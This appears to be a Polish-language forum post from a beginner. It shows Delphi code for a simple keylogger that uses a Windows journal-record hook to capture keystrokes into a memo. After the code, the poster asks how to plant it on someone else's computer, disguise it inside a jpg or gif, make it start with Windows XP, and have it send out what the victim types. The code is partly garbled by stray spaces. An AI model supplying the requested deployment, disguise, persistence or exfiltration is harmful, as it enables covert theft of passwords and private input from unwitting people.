Kod w delphi:
var
Hook:Integer;
MessageBuffer:TEventMsg;
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer:=PEventMsg(lParam)^;
if MessageBuffer.message=wm_KeyDown then
begin
Form1.Memo1.Text:=Form1.Memo1.Text+chr(MessageBuff er.paraml);
Result:=0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook:=SetWindowsHookEx(wh_journalrecord,play,HInst ance,0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;
Pytania xD
1. Jak zrobić, żeby to się uruchamiało na czyimś kompie(tak tak wiem że trzeba podrzucić)
2. Można to dołączyć o jakiego innego pliku? np. jpg lub gif
3. Można zrobić takie coś, że key bedzie się uruchamiał zaraz po włączeniu WinXP?
4. W tym kodzie czegoś brakuje?(wiem chyba, to nigdzie nie bedzie wysyłało tego co ta osoba wyklika?) Jeśli dobrze rozumuję to jak taki kod ma wyglądać?
5. Powiedzmy, że mam cały kod zapisany (delphi 7 person) klikam na krzyżyk i daje zapisz i wybieram miejsce zapisu, ale coś nie gra;/ Gdy naciskam na to, włącza mi się delphi i cały kod;/